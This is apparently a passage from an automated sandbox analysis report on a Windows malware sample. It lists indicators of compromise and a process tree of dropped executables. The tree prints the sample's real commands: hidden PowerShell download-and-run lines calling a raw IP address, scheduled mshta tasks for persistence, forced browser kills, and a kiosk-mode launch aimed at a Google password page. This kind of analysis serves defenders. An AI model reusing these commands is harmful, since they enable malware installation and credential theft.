Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe

Delays execution with timeout.exe 1 IoCs

pid	Process
4572	timeout.exe

Enumerates system info in registry 2 TTPs 8 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 5 IoCs

pid	Process
3804	taskkill.exe
1784	taskkill.exe
4280	taskkill.exe
4472	taskkill.exe
4100	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133857006042876473"	chrome.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3472	schtasks.exe
5016	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
532	a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972.exe
532	a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972.exe
532	a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972.exe
532	a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972.exe
532	a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972.exe
532	a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972.exe
2140	OPC2VURIHUPRBGIGMXLLRVVJD.exe
2140	OPC2VURIHUPRBGIGMXLLRVVJD.exe
2940	rapes.exe
2940	rapes.exe
1496	powershell.exe
1496	powershell.exe
1496	powershell.exe
3564	vertualiziren.exe
3564	vertualiziren.exe
3036	rapes.exe
3036	rapes.exe
3820	powershell.exe
3820	powershell.exe
3820	powershell.exe
3948	TempSXNXTUO2YUFRJMDVXLUKTVUPGKSQEA6H.EXE
3948	TempSXNXTUO2YUFRJMDVXLUKTVUPGKSQEA6H.EXE
532	powershell.exe
532	powershell.exe
532	powershell.exe
4264	powershell.exe
4264	powershell.exe
4264	powershell.exe
936	powershell.exe
936	powershell.exe
936	powershell.exe
1200	721702bd23.exe
1200	721702bd23.exe
916	483d2fa8a0d53818306efeb32d3.exe
916	483d2fa8a0d53818306efeb32d3.exe
4684	bc3a1e6a75.exe
4684	bc3a1e6a75.exe
4684	bc3a1e6a75.exe
4684	bc3a1e6a75.exe
628	36bd318e4d.exe
628	36bd318e4d.exe
2688	acdc33ee92.exe
2688	acdc33ee92.exe
440	1590993906.exe
440	1590993906.exe
440	1590993906.exe
440	1590993906.exe
440	1590993906.exe
440	1590993906.exe
3740	0IR2HSX48POW1VIT6VA.exe
3740	0IR2HSX48POW1VIT6VA.exe
4428	be9629c306.exe
4428	be9629c306.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
1496	rapes.exe
1496	rapes.exe
2916	ovql.exe
2916	ovql.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
3960	dd3907672e.exe
3960	dd3907672e.exe
3960	dd3907672e.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
2476	msedge.exe
2476	msedge.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

description	pid	Process
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeDebugPrivilege	3820	powershell.exe
Token: SeDebugPrivilege	532	powershell.exe
Token: SeDebugPrivilege	4264	powershell.exe
Token: SeDebugPrivilege	936	powershell.exe
Token: SeDebugPrivilege	3988	bc3a1e6a75.exe
Token: SeDebugPrivilege	4100	taskkill.exe
Token: SeDebugPrivilege	3804	taskkill.exe
Token: SeDebugPrivilege	1784	taskkill.exe
Token: SeDebugPrivilege	4280	taskkill.exe
Token: SeDebugPrivilege	4472	taskkill.exe
Token: SeDebugPrivilege	4428	firefox.exe
Token: SeDebugPrivilege	4428	firefox.exe
Token: SeDebugPrivilege	3960	dd3907672e.exe
Token: SeDebugPrivilege	2484	ce4pMzk.exe
Token: SeDebugPrivilege	5828	powershell.exe
Token: SeDebugPrivilege	2476	powershell.exe
Token: SeShutdownPrivilege	5716	chrome.exe
Token: SeCreatePagefilePrivilege	5716	chrome.exe
Token: SeShutdownPrivilege	5716	chrome.exe
Token: SeCreatePagefilePrivilege	5716	chrome.exe
Token: SeShutdownPrivilege	5716	chrome.exe
Token: SeCreatePagefilePrivilege	5716	chrome.exe
Token: SeDebugPrivilege	6544	powershell.exe
Token: SeShutdownPrivilege	5716	chrome.exe
Token: SeCreatePagefilePrivilege	5716	chrome.exe
Token: SeShutdownPrivilege	5716	chrome.exe
Token: SeCreatePagefilePrivilege	5716	chrome.exe
Token: SeShutdownPrivilege	3532	Explorer.EXE
Token: SeCreatePagefilePrivilege	3532	Explorer.EXE
Token: SeShutdownPrivilege	5716	chrome.exe
Token: SeCreatePagefilePrivilege	5716	chrome.exe
Token: SeShutdownPrivilege	5716	chrome.exe
Token: SeCreatePagefilePrivilege	5716	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2140	OPC2VURIHUPRBGIGMXLLRVVJD.exe
4464	e3d77cfb89.exe
4464	e3d77cfb89.exe
4464	e3d77cfb89.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
5716	chrome.exe
2476	msedge.exe
2476	msedge.exe

Suspicious use of SendNotifyMessage 34 IoCs

pid	Process
4464	e3d77cfb89.exe
4464	e3d77cfb89.exe
4464	e3d77cfb89.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
4428	firefox.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe
3108	22e7923b7d.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4428	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 532 wrote to memory of 2140	532	a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972.exe	95
PID 532 wrote to memory of 2140	532	a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972.exe	95
PID 532 wrote to memory of 2140	532	a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972.exe	95
PID 2140 wrote to memory of 2940	2140	OPC2VURIHUPRBGIGMXLLRVVJD.exe	96
PID 2140 wrote to memory of 2940	2140	OPC2VURIHUPRBGIGMXLLRVVJD.exe	96
PID 2140 wrote to memory of 2940	2140	OPC2VURIHUPRBGIGMXLLRVVJD.exe	96
PID 2940 wrote to memory of 4280	2940	rapes.exe	99
PID 2940 wrote to memory of 4280	2940	rapes.exe	99
PID 2940 wrote to memory of 4280	2940	rapes.exe	99
PID 4280 wrote to memory of 2576	4280	nhDLtPT.exe	100
PID 4280 wrote to memory of 2576	4280	nhDLtPT.exe	100
PID 4280 wrote to memory of 2576	4280	nhDLtPT.exe	100
PID 2940 wrote to memory of 4464	2940	rapes.exe	101
PID 2940 wrote to memory of 4464	2940	rapes.exe	101
PID 2940 wrote to memory of 4464	2940	rapes.exe	101
PID 4464 wrote to memory of 2696	4464	e3d77cfb89.exe	102
PID 4464 wrote to memory of 2696	4464	e3d77cfb89.exe	102
PID 4464 wrote to memory of 2696	4464	e3d77cfb89.exe	102
PID 4464 wrote to memory of 4864	4464	e3d77cfb89.exe	103
PID 4464 wrote to memory of 4864	4464	e3d77cfb89.exe	103
PID 4464 wrote to memory of 4864	4464	e3d77cfb89.exe	103
PID 2696 wrote to memory of 3472	2696	cmd.exe	105
PID 2696 wrote to memory of 3472	2696	cmd.exe	105
PID 2696 wrote to memory of 3472	2696	cmd.exe	105
PID 4864 wrote to memory of 1496	4864	mshta.exe	106
PID 4864 wrote to memory of 1496	4864	mshta.exe	106
PID 4864 wrote to memory of 1496	4864	mshta.exe	106
PID 2576 wrote to memory of 3564	2576	Gxtuum.exe	108
PID 2576 wrote to memory of 3564	2576	Gxtuum.exe	108
PID 2576 wrote to memory of 3564	2576	Gxtuum.exe	108
PID 2940 wrote to memory of 1060	2940	rapes.exe	111
PID 2940 wrote to memory of 1060	2940	rapes.exe	111
PID 2940 wrote to memory of 1060	2940	rapes.exe	111
PID 1060 wrote to memory of 4572	1060	cmd.exe	113
PID 1060 wrote to memory of 4572	1060	cmd.exe	113
PID 1060 wrote to memory of 4572	1060	cmd.exe	113
PID 1060 wrote to memory of 4500	1060	cmd.exe	114
PID 1060 wrote to memory of 4500	1060	cmd.exe	114
PID 1060 wrote to memory of 4500	1060	cmd.exe	114
PID 4500 wrote to memory of 3820	4500	cmd.exe	115
PID 4500 wrote to memory of 3820	4500	cmd.exe	115
PID 4500 wrote to memory of 3820	4500	cmd.exe	115
PID 1496 wrote to memory of 3948	1496	powershell.exe	116
PID 1496 wrote to memory of 3948	1496	powershell.exe	116
PID 1496 wrote to memory of 3948	1496	powershell.exe	116
PID 1060 wrote to memory of 1916	1060	cmd.exe	117
PID 1060 wrote to memory of 1916	1060	cmd.exe	117
PID 1060 wrote to memory of 1916	1060	cmd.exe	117
PID 1916 wrote to memory of 532	1916	cmd.exe	118
PID 1916 wrote to memory of 532	1916	cmd.exe	118
PID 1916 wrote to memory of 532	1916	cmd.exe	118
PID 1060 wrote to memory of 4664	1060	cmd.exe	120
PID 1060 wrote to memory of 4664	1060	cmd.exe	120
PID 1060 wrote to memory of 4664	1060	cmd.exe	120
PID 4664 wrote to memory of 4264	4664	cmd.exe	121
PID 4664 wrote to memory of 4264	4664	cmd.exe	121
PID 4664 wrote to memory of 4264	4664	cmd.exe	121
PID 1060 wrote to memory of 5016	1060	cmd.exe	122
PID 1060 wrote to memory of 5016	1060	cmd.exe	122
PID 1060 wrote to memory of 5016	1060	cmd.exe	122
PID 1060 wrote to memory of 4768	1060	cmd.exe	123
PID 1060 wrote to memory of 4768	1060	cmd.exe	123
PID 1060 wrote to memory of 4768	1060	cmd.exe	123
PID 4768 wrote to memory of 936	4768	mshta.exe	124

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3532
- C:\Users\Admin\AppData\Local\Temp\a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972.exe
  "C:\Users\Admin\AppData\Local\Temp\a2c378db75bc7051bd82788993e28336fd80bc006c2cb9746fb6b49d3df0b972.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Downloads MZ/PE file
  - Checks BIOS information in registry
  - Identifies Wine through registry keys
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:532
- - C:\Users\Admin\AppData\Local\Temp\OPC2VURIHUPRBGIGMXLLRVVJD.exe
    "C:\Users\Admin\AppData\Local\Temp\OPC2VURIHUPRBGIGMXLLRVVJD.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2140
  - - C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
      "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Downloads MZ/PE file
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Adds Run key to start application
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2940
    - - C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10107310101\nhDLtPT.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4280
      - C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe
        
        "C:\Users\Admin\AppData\Local\Temp\a58456755d\Gxtuum.exe"
        6⤵
        Downloads MZ/PE file
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2576
        
        C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe
        
        "C:\Users\Admin\AppData\Roaming\10000770100\vertualiziren.exe"
        7⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3564
    - - C:\Users\Admin\AppData\Local\Temp\10108470101\e3d77cfb89.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10108470101\e3d77cfb89.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of WriteProcessMemory
        
        PID:4464
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn 6QKiRmaQMTY /tr "mshta C:\Users\Admin\AppData\Local\Temp\kao0wjnJg.hta" /sc minute /mo 25 /ru "Admin" /f
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:2696
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn 6QKiRmaQMTY /tr "mshta C:\Users\Admin\AppData\Local\Temp\kao0wjnJg.hta" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:3472
      - C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\kao0wjnJg.hta
        6⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4864
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'SXNXTUO2YUFRJMDVXLUKTVUPGKSQEA6H.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1496
        
        C:\Users\Admin\AppData\Local\TempSXNXTUO2YUFRJMDVXLUKTVUPGKSQEA6H.EXE
        
        "C:\Users\Admin\AppData\Local\TempSXNXTUO2YUFRJMDVXLUKTVUPGKSQEA6H.EXE"
        8⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3948
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10108480121\am_no.cmd" "
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1060
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 2
        6⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:4572
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4500
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3820
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1916
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:532
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4664
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4264
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "qUdp4ma4jJN" /tr "mshta \"C:\Temp\m9sy3Qpjo.hta\"" /sc minute /mo 25 /ru "Admin" /f
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:5016
      - C:\Windows\SysWOW64\mshta.exe
        
        mshta "C:\Temp\m9sy3Qpjo.hta"
        6⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4768
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        7⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:936
        
        C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
        8⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:916
    - - C:\Users\Admin\AppData\Local\Temp\10109090101\721702bd23.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109090101\721702bd23.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1200
      - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        6⤵
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        
        PID:3948
    - - C:\Users\Admin\AppData\Local\Temp\10109100101\bc3a1e6a75.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109100101\bc3a1e6a75.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3988
      - C:\Users\Admin\AppData\Local\Temp\10109100101\bc3a1e6a75.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109100101\bc3a1e6a75.exe"
        6⤵
        Executes dropped EXE
        
        PID:3636
      - C:\Users\Admin\AppData\Local\Temp\10109100101\bc3a1e6a75.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109100101\bc3a1e6a75.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4684
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3988 -s 820
        6⤵
        Program crash
        
        PID:3312
    - - C:\Users\Admin\AppData\Local\Temp\10109110101\36bd318e4d.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109110101\36bd318e4d.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:628
      - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        
        "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
        6⤵
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        
        PID:2568
    - - C:\Users\Admin\AppData\Local\Temp\10109120101\acdc33ee92.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109120101\acdc33ee92.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2688
    - - C:\Users\Admin\AppData\Local\Temp\10109130101\1590993906.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109130101\1590993906.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Downloads MZ/PE file
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:440
      - C:\Users\Admin\AppData\Local\Temp\0IR2HSX48POW1VIT6VA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\0IR2HSX48POW1VIT6VA.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:3740
    - - C:\Users\Admin\AppData\Local\Temp\10109140101\be9629c306.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109140101\be9629c306.exe"
        5⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4428
    - - C:\Users\Admin\AppData\Local\Temp\10109150101\22e7923b7d.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10109150101\22e7923b7d.exe"
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:3108
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4100
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3804
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1784
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4280
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        6⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4472
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        6⤵
        
        PID:4892
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        7⤵
        Checks processor information in registry
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:4428
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2028 -parentBuildID 20240401114208 -prefsHandle 1956 -prefMapHandle 1948 -prefsLen 27356 -prefMapSize 244628 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d71a98c4-74cc-46cd-842d-20a1d41903dd} 4428 "\\.\pipe\gecko-crash-server-pipe.4428" gpu
        8⤵
        
        PID:232
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
